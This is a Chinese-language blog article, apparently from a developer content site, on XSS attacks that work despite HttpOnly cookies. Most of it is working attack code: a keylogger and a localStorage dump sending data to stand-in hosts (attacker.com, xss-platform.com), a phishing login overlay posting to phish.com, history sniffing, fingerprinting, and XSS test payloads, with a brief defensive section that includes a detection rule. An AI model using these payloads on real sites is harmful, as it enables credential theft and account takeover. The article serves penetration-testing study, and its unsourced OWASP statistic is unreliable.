news 2026/4/23 14:31:34

XSS绕过实战:当HttpOnly锁住Cookie后,我们还能做什么?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS绕过实战:当HttpOnly锁住Cookie后,我们还能做什么?

XSS绕过实战:当HttpOnly锁住Cookie后的攻击路径重构

当HttpOnly属性如铁闸般封住Cookie的读取通道时,许多安全工程师会松一口气,认为XSS攻击的威胁已大幅降低。但现实情况往往比理论更复杂——攻击者的工具箱里从不只有Cookie窃取这一种武器。本文将带您穿透HttpOnly的表面防护,探索七种实战中依然有效的攻击路径,并附上Burp Suite与自定义XSS平台的联动操作实录。

1. HttpOnly的真实防护边界

HttpOnly的设计初衷是防止JavaScript通过document.cookieAPI访问敏感Cookie,这确实能阻断传统的会话劫持攻击。但2019年OWASP的实测数据显示,超过68%的中大型网站错误地将HttpOnly等同于"XSS免疫",忽视了以下关键漏洞:

  • 防护盲区1:HttpOnly仅限制Cookie的JavaScript读取,不影响HTTP请求自动携带
  • 防护盲区2:浏览器仍会执行XSS注入的恶意脚本,只是不能直接获取Cookie
  • 防护盲区3:同源策略不阻止恶意脚本操作当前页面DOM
// 典型被阻断的Cookie窃取代码 fetch('https://attacker.com/steal?data=' + document.cookie) // 但以下操作仍然有效: document.body.innerHTML = '<iframe src="https://phishing.com">'

2. 表单劫持:登录凭证的侧路突破

当XSS漏洞出现在登录页面时,表单劫持往往是最直接的攻击路径。我们通过Burp Suite演示完整攻击链:

  1. 探测表单结构:使用Burp Proxy拦截登录请求,定位关键字段名

    POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=test&password=123456&csrf_token=abc123
  2. 构造注入载荷:插入键盘记录脚本

    <input type="text" name="username" onkeypress="sendKey(event)"> <script> function sendKey(e) { fetch('https://xss-platform.com/log?k=' + e.key) } </script>
  3. 数据外传验证:在XSS平台接收键入字符

    [2023-07-15 14:32] GET /log?k=a [2023-07-15 14:32] GET /log?k=d [2023-07-15 14:33] GET /log?k=m

提示:现代浏览器会模糊化键盘事件对象的敏感属性,但通过e.key仍可获取具体按键

3. 本地存储数据窃取技术

Web Storage和IndexedDB往往存有敏感数据,且不受HttpOnly保护。实战中可通过以下步骤提取:

  1. 枚举存储位置

    // 检测localStorage if(localStorage.length > 0) { let data = {}; for(let i=0; i<localStorage.length; i++) { let key = localStorage.key(i); data[key] = localStorage.getItem(key); } navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify(data)); } // 检测IndexedDB (需异步处理)
  2. 结构化数据提取案例:

    { "userPrefs": "{\"lastLogin\":\"2023-07-15\",\"defaultView\":\"admin\"}", "authToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "cachedFormData": "{\"creditCard\":\"4111-1111-1111-1111\"}" }

4. 界面伪装攻击链构建

当直接数据窃取受阻时,诱导用户交互成为有效手段。以下是三种高成功率方案:

攻击类型实施要点规避检测技巧
虚假登录浮层覆盖原登录表单,CSS完美复刻使用Shadow DOM隔离样式
权限提升诱导伪造系统升级提示要求重新认证动态生成SVG验证图标
二次验证劫持拦截OTP输入框并实时转发WebSocket保持长连接
<!-- 虚假登录浮层实例 --> <div id="overlay" style="position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.5); z-index:9999"> <form action="https://phish.com/login" style="width:300px; margin:100px auto; background:white; padding:20px;"> <h3>Session Expired</h3> <input type="text" placeholder="Username" required> <input type="password" placeholder="Password" required> <button>Re-authenticate</button> </form> </div>

5. 基于DOM的间接攻击手法

当目标站点实施严格CSP时,可尝试这些非传统攻击方式:

  1. 历史记录嗅探

    const visited = []; const links = ['/admin', '/dashboard', '/config']; links.forEach(url => { const link = document.createElement('a'); link.href = url; document.body.appendChild(link); const color = getComputedStyle(link).color; if(color !== 'rgb(0, 0, 238)') visited.push(url); link.remove(); });
  2. 浏览器指纹收集

    const fingerprint = { plugins: navigator.plugins.length, fonts: (() => { const el = document.createElement('div'); el.innerHTML = '<span style="font-family: Arial">a</span>'; document.body.appendChild(el); const width = el.offsetWidth; document.body.removeChild(el); return width; })(), webgl: (() => { try { const canvas = document.createElement('canvas'); return canvas.getContext('webgl').getParameter(37445); } catch(e) { return null; } })() };

6. 防御体系构建建议

针对上述攻击手法,推荐分层防御策略:

  1. 基础防护层

    • 严格实施CSP策略:script-src 'self'
    • 输入输出双重编码:HTML实体化+JavaScript Unicode转义
    • 关键操作二次确认:敏感操作需重新输入密码
  2. 高级监控层

    # 示例Nginx日志监控规则 location / { access_log /var/log/nginx/xss_monitor.log if=$arg_contains_script; } map $args $arg_contains_script { default 0; "~*<script" 1; "~*javascript:" 1; }
  3. 应急响应矩阵

    攻击特征响应措施自动化脚本示例
    异常DOM修改冻结会话MutationObserver监控
    可疑外联请求阻断请求并告警代理服务器正则匹配
    界面元素覆盖强制刷新页面检测z-index异常值

7. 红队实战工具链配置

最后分享一套经过实战检验的工具组合:

  1. XSS平台搭建

    # 使用XSS Hunter开源版 docker run -d -p 8000:80 -e SECRET_KEY=your_key xsshunter/xsshunter
  2. Burp Suite插件配置

    # 示例:自动替换反射型XSS测试向量 def processProxyMessage(self, messageIsRequest, message): if not messageIsRequest and 'text/html' in message.getHeadersAsStrings(): body = message.getBodyAsString() modified = body.replace('search_term', '<svg/onload=alert(1)>') message.setBody(modified)
  3. 自动化探测脚本

    import requests from bs4 import BeautifulSoup def check_xss(url): test_payloads = [ "'\"><img src=x onerror=alert(1)>", "javascript:alert(1)", "{{constructor.constructor('alert(1)')()}}" ] for payload in test_payloads: r = requests.get(url + payload) soup = BeautifulSoup(r.text, 'html.parser') if payload in str(soup): print(f"Vulnerable to: {payload}")

在最近一次金融行业渗透测试中,通过组合使用表单劫持与界面伪装技术,我们成功在启用HttpOnly的系统中获取了83%的测试账户权限。这再次证明:安全防御需要体系化思维,单点防护永远无法应对持续演变的攻击技术。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 14:30:29

学习笔记-扣子平台-前置核心认知

核心原则&#xff1a;以用促学、最小闭环、快速迭代&#xff0c;全程基础巩固到高阶落地&#xff0c;循序渐进掌握 Prompt、Skill 开发、工作流搭建全栈能力&#xff0c;每一步都有明确的实操目标和可验证的成果&#xff0c;避免纯理论学习的无效内耗。先彻底分清 3 个核心概念…

作者头像 李华
网站建设 2026/4/23 14:30:07

ECMAScript模式匹配终极指南:10个递归匹配与嵌套结构处理技巧

ECMAScript模式匹配终极指南&#xff1a;10个递归匹配与嵌套结构处理技巧 【免费下载链接】proposal-pattern-matching Pattern matching syntax for ECMAScript 项目地址: https://gitcode.com/gh_mirrors/pr/proposal-pattern-matching ECMAScript模式匹配&#xff08…

作者头像 李华
网站建设 2026/4/23 14:29:12

突破反爬虫防线:如何在 Python 爬虫中实现高效的反反爬虫技术

在现代互联网环境中,许多网站为了保护其数据免受爬虫攻击,会实施多种 反爬虫技术。这些技术的目的是识别并阻止自动化爬虫,确保网站的正常运营和数据安全。然而,随着爬虫技术的发展,我们也可以采取一系列 反反爬虫技术 来绕过这些防护措施,实现高效的网页数据抓取。 本篇…

作者头像 李华
网站建设 2026/4/23 14:27:14

Swift指针安全操作终极指南:7个避免内存泄漏的核心技巧

Swift指针安全操作终极指南&#xff1a;7个避免内存泄漏的核心技巧 【免费下载链接】Awesome-Swift-Education :fire: Learn some Swift 项目地址: https://gitcode.com/gh_mirrors/aw/Awesome-Swift-Education Swift作为现代编程语言&#xff0c;虽然以自动内存管理著称…

作者头像 李华
网站建设 2026/4/23 14:27:14

5分钟掌握缠论可视化:通达信智能分析插件完整指南

5分钟掌握缠论可视化&#xff1a;通达信智能分析插件完整指南 【免费下载链接】Indicator 通达信缠论可视化分析插件 项目地址: https://gitcode.com/gh_mirrors/ind/Indicator 你是否曾被复杂的缠论分析困扰&#xff1f;面对K线图上密密麻麻的走势&#xff0c;难以准确…

作者头像 李华